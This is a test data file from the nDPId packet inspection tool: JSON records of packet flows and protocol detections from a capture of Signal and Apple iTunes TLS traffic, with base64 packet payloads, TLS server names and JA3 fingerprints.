+00424{"flow_id":11,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":181,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":116081,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGSMLAqAIRFzkYEN6+AbvH3a+K4DuqGYAQBAvjSwAAAQEICihVknGWTmoX"} +01126{"flow_id":11,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":182,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":116204,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"xiwDYGpkxGGLNYKpCABFAAI5AABAAEAGRr3AqAIRFzkYEN6+AbvH3a+K4DuqGYAYBAtznQAAAQEICihVknKWTmoXFgMBAgABAAH8AwPawK\/+wN1+Tx0CNiEAg+cUW3czvaCh\/qY5WXGzJz9xKSBQ\/3brog7H4kKz+Cr0Y+KAPc0Wuh7pzTw9CcTlpz8EzgA0EwETAxMCwCzAK8AkwCPACsAJzKnAMMAvwCjAJ8AUwBPMqACdAJwAPQA8ADUAL8AIwBIACgEAAX\/\/AQABAAAAABUAEwAAEGl0dW5lcy5hcHBsZS5jb20AFwAAAA0AGAAWBAMIBAQBBQMCAwgFCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjEACwACAQAAMwAmACQAHQAgQjLeK9mUdDm2SPbON0\/yv\/211C08osOnnwisGWfkQjYALQACAQEAKwAFBAMEAwMACgAKAAgAHQAXABgAGQAVANEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00773{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":182,"source":"signal.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":4,"flow_first_seen":1569051264078,"flow_last_seen":1569051264116,"flow_tot_l4_data_len":665,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":166,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"23.57.24.16","src_port":57022,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.AppleiTunes","breed":"Fun","category":"Streaming"},"tls": {"version":"TLSv1.2","client_requested_server_name":"itunes.apple.com","ja3":"17305a56a62a10f6b0ee8edcc3b1769c","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2"}} +00424{"flow_id":11,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":183,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":150664,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA0riEAADQG5qAXORgQwKgCEQG73r7gO6oZx92xj4AQAOvkPwAAAQEICpZOaj0oVZJy"} +02378{"flow_id":11,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":184,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":151436,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAAXUriIAADQG4P8XORgQwKgCEQG73r7gO6oZx92xj4AQAOvEnQAAAQEICpZOaj0oVZJyFgMDAHoCAAB2AwMA9vr9rkd4ApXKyDGM9DvNqLylQa2U3Kj2eYOyu9RJDyBQ\/3brog7H4kKz+Cr0Y+KAPc0Wuh7pzTw9CcTlpz8EzhMCAAAuACsAAgMEADMAJAAdACCVXfSN3Gm6j3Dzd6yKHirgAxbwYWbpS\/t6nzsX9\/1tHxQDAwABARcDAwAubSX2Yk494MC9aR7fCLNwMxN0Or0wXtcHzqTKZcy1Z7r1XEI5b+rsKAfvtLQvMRcDAxXa6CIxOumkbdppHVhUPPUFc9A0D2VreyuftXwz1F1aIcOpup2lw\/WinI9r84Oj14qP4mvLrzURHw05iQuzZQJcJffQ3n33JhH87R4b5SLH\/sWKtBdYmlv66OLR7cWh803EGzANE4\/\/50haa\/DfzI+66ZCXGVZ1cR0tPlKH4qGZ0\/teswg4plrYdA7F+UjB\/MgH04JHHhDrZT\/gW3XZsMjXqDRxMOe8zdLkVIZWowd0smMxhuYMHDnkO8L2p06dIu1Y9I1nrDgogegRm3IqIhnzBuclK8UolTqUfOTT8Rs8cL6yKMEFhKeHeTI2DCMgOEXXPIAPWDUelqwPg851vA02Ku6ItriMfedawd0VcQzNjSfqWq8ny0bLY431MeLy1lswpPf2rLrD4SsbAT8YGRYVVn6fezp1NTkVFTdty+YjXk+RUvXkuAbfcvrkRbSxzEkTEoJWEROx\/h9dvULj14VHUBU7W02\/LWGPup7bSV6zXAscGUmgJoMC9aF5ATH7abehZp10SOhmBZl+ZcZCLgDTpC2CuFTcKjTJGLBZ5blfnWZbzM83hdr2Dx6UCdIAAJR2AjgGfC82i95bSjhJS5IWB51v1res9laqPBGLK3YTUhr\/mVDNF6qVq3nJGELIqKXn9Ju5piQrbN8XBx\/e\/tJK0yiaYgzK\/U4uFtv5+l4nUqqhbMmpjyRcgzriES1wmgLtgiJWxOeNbaTleyPGIe6ODQ2rEg8WgV6MSRut0SJvcLtXfbLeG22ZSHtByXdj0TojjjUrwaPEHSvf9Ll0it+sCaiAHKpU8gK22cCzayJTNM1lihw6+iXYFQpSGU0YQzUCx6FpJeSzk1RyVa8oSaLkCRii5V2j+fvsHdAgImdoaSH5JLMPjgkuRuyCVpN6wuwwxhTzKpFAa1CdNEO1MTnFhruBh6DAvYID9mS9ooBfqYZe66dHMy87CdSuckAW0nPrfKxm6ejhYXB\/YyEZ6NL2Kx7keMZqrsR\/Ii2I2voK3tA0Z0d+nsnmpXKhDd9miuueeeSSm5JKv4A7eMJuH25rgpHErf8xRnpDId+P+\/ItJ3UUyoWNPIsKecvwbHpMSO5XoS4RKTP5ULhw4Ih4GTulI7dVthXRWrlMcZdPqaC+6Hfkr9vCX0O6BgWNfbnf\/LNIOF0MFwXHJFUZAHukuUl\/UuaGNwN\/p5zMsqxPJjynhIZ8o2Gx\/Pqa2UL0NaVNiAJ7P+PtDTSIjSRsHAtPKxOOpVBbhQxgA6jKs7CZE8qyzGzTzfm6U4uY3kpkuyg5nl7uo82UxJbGHXDwAE0s9UhR+bcq8NRbSlfimPjwGmDveTvXM6h94SIrtvbWxRvTE1jKYGjlsf4bzZoPCN+9mu6J8nfCfJfJxfuBIcW5tJOiifODQ+ET72qFymTL+xdQxSuWDYHNlH0kU+ZD8VgRwXxXzEmCPs7v5xJzz7uPEnnbZhFydli0o+GyMH1BtjAaoepUYM1+olAUC4OMjUaI\/haoRSwFZDNitVy\/sojBc2DIS9BwRB8pEbq+vKbml82NxLNk764m2a4sUxhtwW47ZUDtXDJpnNF1YfTNBPQsPsYhShPUNQoWk\/uxdsDKIr7\/hJnMNDpJOeMJqM0e5Ks+7bidksjRBVXEEiyn34wFqJBvEIP6ix7jF8EZn9yWVjKnpFuzR89k"} +00814{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":184,"source":"signal.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":6,"flow_first_seen":1569051264078,"flow_last_seen":1569051264151,"flow_tot_l4_data_len":2169,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":361,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"23.57.24.16","src_port":57022,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.AppleiTunes","breed":"Fun","category":"Streaming"},"tls": {"version":"TLSv1.3","client_requested_server_name":"itunes.apple.com","ja3":"17305a56a62a10f6b0ee8edcc3b1769c","ja3s":"15af977ce25de452b96affa2addb1036","unsafe_cipher":0,"cipher":"TLS_AES_256_GCM_SHA384","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2"}} +02373{"flow_id":11,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":185,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":151667,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAAXUriMAADQG4P4XORgQwKgCEQG73r7gO6+5x92xj4AQAOtdjAAAAQEICpZOaj0oVZJyn08AXZfpifqi3wkFAomv1JNbKYDKrsp+LsJ8qHOU6FtBsbmXn+KTk8wO2iHKdrz2\/8zP+U2ix2yLTK8qnthh9K0EGMQtT1Le7\/pv6\/2XqqwuYQ7+I7tGGlBpxwp\/IObWiQhvM7iCl1cdGimpZP4k8QXRDpzf0rqDc+13YjM0gi0OZx4kEN0hVrggAswtbozNmC8rsWOlT0kjfImkBpxXir3Y7+a2tED5tyVBciEsNAzErXFUniww4LzfCGy1T0eHu2EBL8St+jaItlcLzrl9H2Ll2ojYMs8iaILfQcTaP5evHSoFbRhNSHG2thuozP1+LkrFnUrShXJH0cf4hBic8VMq7dBeFQlsycpVOCSkCikEcQYtteLlMb1Qot84xoZ8ghEizN97L1eNqLSFie38BEaohniQHibduiY3bHluI95ZpV36AZZYSGXM2bJqxd8BNUhGikRILrmhDjn3Pr0nA6kHmE9xgTUSywLsWKKnTgrjDX2O6wSruCKXUblBI\/hVsyM5Eq4t5jgoHQlnn6tN52dztYz9NtsOmyktPFhVMFCeKu88ldqaR2ONc7dULXSpRfS9Fb2n3EgpU5dNdJ7QXz8qC6aY1uoe6cP7llb3eJS8KGX4UVLc8Xzmvdw7cN6onDkEYGBUtuVrB\/w+SX4Xlz8QnAi5Im8QqXuLXTeDukeBH6Ap\/bYrVOdOBw82b371MO19IuM9rGLTo7+jjn9zv+p1J59crNN9pQ6V+D+\/YgmYzmTfXGjQ0lYmeDglrg9toVcIxX4EhgQmlQImI2O+De2cxrCYB1P15WaYcrPkONdplqutl351pd0JEu5dnlmjvKk87HVc0k+rcOsEmGQbg0nsLQNZ1cBb9wZL5lQWaGydBQ3eMNCyKh6JPGUYgrANBuMB+YpIN0MbPC4yXlLSLS+agKuAHHFTb2LO+TX+f6l9x6nh9FaIoNzPm+kWkOPEwg7VFtxn38Ep\/E4ZqucAQjBK6nxN45DPsJ61oXTg6ibCjZ6nBYp49Z\/RT8VoYUyNqxhvyCeH5Z3TeeCEKcFFAk1k+cAihAt4aI6NlwjscxQFLo5HpVZY2ueB+ujQ5lP\/wW0tBy0XtlgnJJImrPSI8kJSidf1d8p\/KXHqrUQwxq5UkcUgDAHquUk5\/wBE1k2GNYFq22qCNb6Z8UDmQMQu7nChP9Ob\/LmJotdkaNbSg+y6SxEwclTyjLyIm+mOLOGPX7rKI3qa5NFkYhh8r2vGb9WMyq\/xLji75moCwAY642FWvdO\/J92DHXQuhxpNwfr73To1bDuLaAAKMPqsUUBqf3NgkVn1dlGjr08uanx0CQ+AWfOtMIiMBX5oQ4retDT\/3ziEI2QQ5QzPmjwqhhHeeONhOiCifwcnQvMonxQ5AUCY2QBi8kheX\/P4Ytbp8OQ7tupiyNSbuJDl6TPHBxINBISdToFsYmC\/pXIRnSShXnz+sbSgx+r8467NklxL5R2kGCSsf8pMZCL7ZIugGgCX\/P8z7MmezeDrIJrmjusr4qLIJ4NIDM1qKiFnfG7UYtIKjx05xeyCk+ch4pv+okkGkedwxtP0s0BVHPo5+MiofFCINSXZjOPdkj+wqM0xjWujt1s+YAue2yQbb5c\/\/vo61N13wrBEsELZgr0A+0QjOjsPACKwkW6sVdVxIe2yshPA3yFvJqSJ4C9q9ilZRoZuKUgJAA5Sc3BJujs1HNKWum8uYw52JQqZDYs08Kw7QPCsFiS8s3AauymBueYRR8aipzE0\/mF89nsyjz2tRdZ3nTgnsE2uU5gbjzUo8oFLHauutS3HBw2eUHQ24cFIoorVyvGu8LGsHvCrYP6cd67KjWYO48co5MBSsizfslv9Ec9c7zjX8rfMThTOkcKZn08l2P0y5FxFLMJvpNLQH3vA0bhcQ76kZBOEGxLJpXE3FlKj"} +02081{"flow_id":11,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":186,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":151976,"pkt_caplen":1282,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1282,"pkt_l4_len":1248,"pkt":"xGGLNYKpxiwDYGpkCABFAAT0riQAADQG4d0XORgQwKgCEQG73r7gO7VZx92xj4AYAOvUVAAAAQEICpZOaj0oVZJykMTnT9umJuzLkPbl0yKdSDEDgItG5CkvUTO4K1g8+ok9Ke0w4g9YqWttZMWTDfHuFkTHMFVypiYPzHnUZRXXjRh5NNyaPSNu12pGzmTcitTA37c6uCNwYnjxHWEN3+\/wfMREPl9Z6gjcmzscGdSaJgQjUqUKQ+ENACFglyD6ndSy52hcx+ef0e8UXvJfm9O1DQbFO9fQ\/1MhuinAfqbmvbpiv0LkHx87l8mDC5wXifTGtd7rmqfwL5NroqZgJw+YQ174BrqEdFUKSX\/Yik\/uqBv\/CeAdA0WQJLXHFgUBBfDxS+J1KqN+\/sF8E9LU8EL0GA2hv2gGXgiNxMZser2Wwl\/1IFAgpZTHNjy94xx0go6NOZ3IjW4ajSiCcddTpbJDLt9BQXe6VeW\/mtGeLIolClWG4BRAyo9NlOdEEQun8vfbvc795TOZeb8oQWcb8s7THP\/uvQfsdaqttuB8Vp1l12OJ7OMMvysTJSh9SDWe8DF93cSxandFZ0XgG\/7\/9uVpM5at9CfgqS5N3+CYNGTQpVErHrCtWofEO8uehZFzYto1dzT1zGdBeR3xKoz7fayu7+d7GuEiQM+ZBb7MHxaOUPQJgrQYSvr064EclahWiEI0nqhBLYSlsMBVH4fG57X0BrOvxZiuOOyuBIQYqBbMKjboJwc3qr5ZaVOvQaSbTY8Ij3O+L6m4G\/7IwBTYIVVE2\/nzGDpR1Gonuugkivak1tkdpQD81XQf0zREF3EFCzhegv+QFzz2Iplc1iuNHrOh4rOCOnMn5r30YzB5jQF8IUBveZScPPOrqUkG0OV01IoPfoOym4RFSM51t3yQqANqB8Z6mNdgw3bQ94wE\/6gAJm+OqFhBGHdGk79r4a\/BR\/wehQC0NUwszUpS0wNvxxcXNJqzZ5KibYlO9ArSnbM5nEPXNayCqP\/sbS32bB+gKN0Icp2tIhatgE0N6o+xG8+gBHLEBzOUZzeG4IUdDwmty5IHw30uFW+gVdUq9JhIqDJ\/sgrD\/LpGsk8pubk8FIu67zwX0w58zuypR7IrD\/ZSGtgyzMTcIb9a1V1hLdpCenCu5JCgoLvh4UVuB7bg4Ztfq+rQB3m0\/KynpLYL9g\/WbcCouNbRmjFsQ2m+p+hP33cvLGMT5I3FH+QrzDavVUZR6w2AovBbqPjNDWZD0HBK1yc6XUbTxL108mqQLA4ODuZxkQEo7KNAiAZSmCbT3PVsjrLcSYR5BrvNZwaWlbn4qWj64UNwU1rAvUUhjD2NZS7lXyl745WCn4GoFNHo3EA3pGft9Anjfpzf3wQsneqjkf83ZCw8XeEOXw0nhdtUanKbqZQqdYFjaxwHl2dluz304YXoqCkyRUAPgYvcC0xCMuuwyvM6FaYETEFVbuxQ7gH9m8w0\/aNEzacr41v8n2CkdCEgFyAX6eIgnYbuVMJT35oNAEWMitW1sOCRCSLnVwNTU5uBbzQ6lpdqo\/eG+xlyH3yTBPZlA2\/klRa\/fNkGbtkuwschjdKURojmlA2BALpT2Qcffnbvn7W57aVF8B9Fp+9aF+FG3hDYRkyz+lrFSJqugSNx9P4uYc8v1a1BvVlLqMH0uG\/n+DzX5UocPTTTyZH1VUbBxrtIf+gWY6k7Nw=="} +02383{"flow_id":11,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":187,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":152149,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAAXUriUAADQG4PwXORgQwKgCEQG73r7gO7oZx92xj4AQAOuCDQAAAQEICpZOaj4oVZJyhQp03z5wa6OUr5vY7qF2DZ9zjmZpNw67ljFIv8YL2z7zgcnR3q+zXA1uYqK5XxYlwVeu2zbPiaPIXuEABgixQsiAm\/q1hp\/IgThUyM2RBeMOJe6lsCYGJeqqe9Aem7sVxjfd7xo56IIPZ9nPnis+smkeVUYFY7N+2QIGNTeultLNy\/HDR4hTasUNeWF4Moe\/1FdqV13D1LhI3gwN2PFKfNGHmIcEek2GxDUy9bxf9zrqYLMm86pxI5cUsxgJaBfUA8uHfpRBwbakCMnjFMsFJSKCubL2EoGMUY6NEl4+90R5W0qj1DSYBA2uoGMhckvvnhOdXw67IRbK6lWU+6qF8\/VbsDr7uqF0SbXbILusjxQumoUm3aXXW8+IU\/s2\/f6IwbB7zX0AI\/d6ya15E\/LcoFm30ZbN+M6+ntSZYOIM2SuIsQltmFq2iguvabHIleo3jNsngkHJYcxA4yq87m1FMEQYWi8YNjamQDUYW2KMOvHPOovEtRf30CQSALlH78NSTL6hu6vEvZuhNi5TUGs\/F1RVc4TnnM\/nSrEeVJWUTG2BvLsXflRCUEe9x0uRKotK9svzPMbMUSuqMVAZGSQ3eZcwlkEvNU8kVoVLfM1VRdbJPH9w0KOx7m3nDI6w62j9raHCub9uAq7LKyr4+MYBJDOA0fqNfcmSA10MNFpxoPovGouSDyXZULb9z2qF7m5qjLT1A7U3uNWN\/bgOKs+yTWQ2CVL2H6kPdKJWYOWm\/Z3D5hHHFAu\/R\/pNaRPSM3I0jjlsAhCedSJTkeUCuCvskFGFJzUp7Bj\/J+IF2UcGrI9dpNI7NSNeDPdcnMg2CagaKvxDhkFI6CAyPiyAGtuMINy\/90\/yoeYeiZPL1LaPbxKN07nUV48cweM8P4ingKgWPzHl9nSaJOKW6bMaVXXY\/ukfEXtscq6Pu0nSRjg0toE3mpGbnUWPX1PR6YK+HMByhCXeFtGEnbMZIIxl8cgK6V5ePJBAjSzJKDiqwVEjtDNjLnjI+nsXv9L0EBnGAaR2Kn31PWXxzJR3lydIvZLYtN3RixvCr8dLJf5yLUZeidcu4WVBsHLeLz5SiwV7dAdH3JoTw7gMTkNBUpDHGXZhSJEitqK5hN0S+dDiYmXZgzSCfo+BNu+FEEYXexbyLkX48RaeWE8CqGr4v1lkkbRRj17yFOxGGMVMWdsX1JltDPcHHER0DTGfbQyPiEPJ9wqViKMe9qsKmz\/aZJOqN99\/mYFpkoT6jVG26q1bdyfgHNaAUxicSrsb1OqU0IYS+BwY7WD+TXAivC6UuQHf0\/uBjHxJzi4qeAs7TXHpuXXd5Q7VRGX05E+UI+YK3vzLAJWEIBBtozTibm5AvPDxaF1nBZeEqk9STRZyJ92oOXLCqK3+AiWXigy2zkY+mbydTXAD+Dm32ArwHBcIGIV+gMzSSYFblKZJha0Ir1Z\/uiZX\/T6Ztvs6junmUqQBHJQqW9MPfItkb+cbcl1w5+Zuq5rhS1W3V2Q4kYj0gSmcqAPCwLzNL6XIr\/D2oZj7vRi3VEDMnD63flyXYfSsHwDvk\/1lZVkeDK11m77696dw\/5mWdPs2AmD682ZHF0iBK\/Db5FmLd614cPQyrtPiD4Vu0xMi9LJJQduWGOXasyJOfsPmfWBE7M\/vimrnFDW746IEXgobjNKijuTYmrp23gvl5dfUFdqKRXHOZSoGebgvYWtMLGyrUtJvEpVO8R+uq8tkjvTaNj\/B+fseJjfSloezby0Xl5kF3ftCaJG6TjkHjxuW6qoWD7\/tdBjOu56EdIFhf\/iZggSt9KYH6Z8tDdgSySmP3Zp9Cd5x63FpGBDzMkN31v17RN45rk9KdKn1C46w5Ul2ZgtSeBkM3Z6JzCJsdXH1XbEp0FxpvNNkp39KgIDkQwfMSamyPlcRmKBGna+iuv\/W"} +00426{"flow_id":11,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":188,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":153248,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGSMLAqAIRFzkYEN6+AbvH3bGP4Du1WYAQA\/TV0gAAAQEICihVkpaWTmo9"} +00426{"flow_id":11,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":189,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":153401,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGSMLAqAIRFzkYEN6+AbvH3bGP4Du6GYAQA\/bREAAAAQEICihVkpaWTmo9"} +00437{"flow_id":10,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":190,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":185629,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xGGLNYKpxiwDYGpkCABFAAA8AAAAAO4G4zEjqQMowKgCEQG7wEvNn9QhBdFlyaASaN\/LpgAAAgQFrAQCCApkFUBJKFWN0AEDAwg="} +00425{"flow_id":10,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":191,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":186713,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGUTrAqAIRI6kDKMBLAbsF0WXJzZ\/UIoAQCBZawQAAAQEICihVjkRkFUBJ"} +01251{"flow_id":11,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":192,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":186995,"pkt_caplen":673,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":673,"pkt_l4_len":639,"pkt":"xGGLNYKpxiwDYGpkCABFAAKTriYAADQG5DwXORgQwKgCEQG73r7gO7+5x92xj4AYAOtSLwAAAQEICpZOamEoVZKWpBLq1cB7OdZb6xp9z5fwrC3OVnVl2VdwPkolr4BdfDYeAIQr9Dkn9Rsvvf4KEikTR0BFWnQINwbkQCNO99y3yeYtGbvpbfy8u4H198gZjVR+Gyqwo6PV4tPwO6z2f8tuKz2tY1Wg6nw\/0CgwbCufi9WnWGvjeR2ZqSysvkZCHIrGz1O7VPGBlLw3XyYe34nJxFSmopT+POuDNbl292u7XzRQlDJkZb3CHbjIcmIJ0dV8miK3ibEyfMd79twkaWLFVRdZ4p\/jU7xNRa2jb3CW2NYTs8SX7O4Pw5PNySZ4T87+LhWeZ2VkIIeAVZjRtyDi3IOoHMFNDhcDAwEZ3+hD+U9Vi\/5Xcf5vCiPBn1BmO9wNSV6AdF3tRHnea3hr4ZdD+hkzSaVvgKpYHFHgB23\/e2quxLEexhaK0nMZ4VxZniNgSR6Yf9LrlK3bMuqscrTGCRrhJW27wXnH4rCCAiY2J0iz82w7tjvS10QvXSj1623\/HZVo4I1mby2o04dNaEpsAWvaKQETFwWkfgDAVedcyQuAdzC8wJ3\/+QOXOYjIb+me0tv8ThMnYPdF8UJ7DVx4USDSX\/C9hh5CtHEB8cLvL23i1rGL9I5V7gs\/Dfcdj0XIlBC0mRN\/2fG\/xt2wuxvlPyTGeWAIMj7hTzUwxjMJHydcleQ9TyJCmCrDuVvC+RQxQIPSBahwXfO8ajnrFjzBiaALDTkXAwMARakWzMpwVM5wZrzPDptq4zf+MkRtlYtKoayRLlOpXf5hmjmoathW6qRP+yAdeWHdGLRhcZ+5E7erNqJ7muze6s\/VJL32XA=="} +00436{"flow_id":13,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":193,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":198395,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xGGLNYKpxiwDYGpkCABFAAA8AAAAAO4G4zEjqQMowKgCEQG73r+o1iHY6c+USqASaN9tOAAAAgQFrAQCCApkFUBMKFWSWgEDAwg="} +00436{"flow_id":14,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":194,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":203333,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xGGLNYKpxiwDYGpkCABFAAA8AAAAAO4G4zEjqQMowKgCEQG73sBFykuNjtdEXqASaN9RcQAAAgQFrAQCCApkFUBNKFWSWwEDAwg="} +00436{"flow_id":15,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":195,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":203483,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xGGLNYKpxiwDYGpkCABFAAA8AAAAAO4G4zEjqQMowKgCEQG73sEV2c5FmCCLjaASaN+uMAAAAgQFrAQCCApkFUBNKFWSWwEDAwg="} +00693{"flow_id":10,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":196,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":229464,"pkt_caplen":263,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":263,"pkt_l4_len":229,"pkt":"xiwDYGpkxGGLNYKpCABFAAD5AABAAEAGUHXAqAIRI6kDKMBLAbsF0WXJzZ\/UIoAYCBbVbwAAAQEICihVjm1kFUBJFgMBAMABAAC8AwNdhdKAFZvPd8KN3PrIuLJ+p3RN76tFaWi69JIAQQd9fgAALAD\/wCzAK8AkwCPACsAJwAjAMMAvwCjAJ8AUwBPAEgCdAJwAPQA8ADUALwAKAQAAZwAAACoAKAAAJXRleHRzZWN1cmUtc2VydmljZS53aGlzcGVyc3lzdGVtcy5vcmcACgAIAAYAFwAYABkACwACAQAADQASABAEAQIBBQEGAQQDAgMFAwYDAAUABQEAAAAAABIAAAAXAAA="} +00774{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":196,"source":"signal.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":4,"flow_first_seen":1569051264073,"flow_last_seen":1569051264229,"flow_tot_l4_data_len":345,"flow_min_l4_data_len":32,"flow_max_l4_data_len":229,"flow_avg_l4_data_len":86,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"35.169.3.40","src_port":49227,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Signal","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"textsecure-service.whispersystems.org","ja3":"e4d448cdfe06dc1243c1eb026c74ac9a","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} 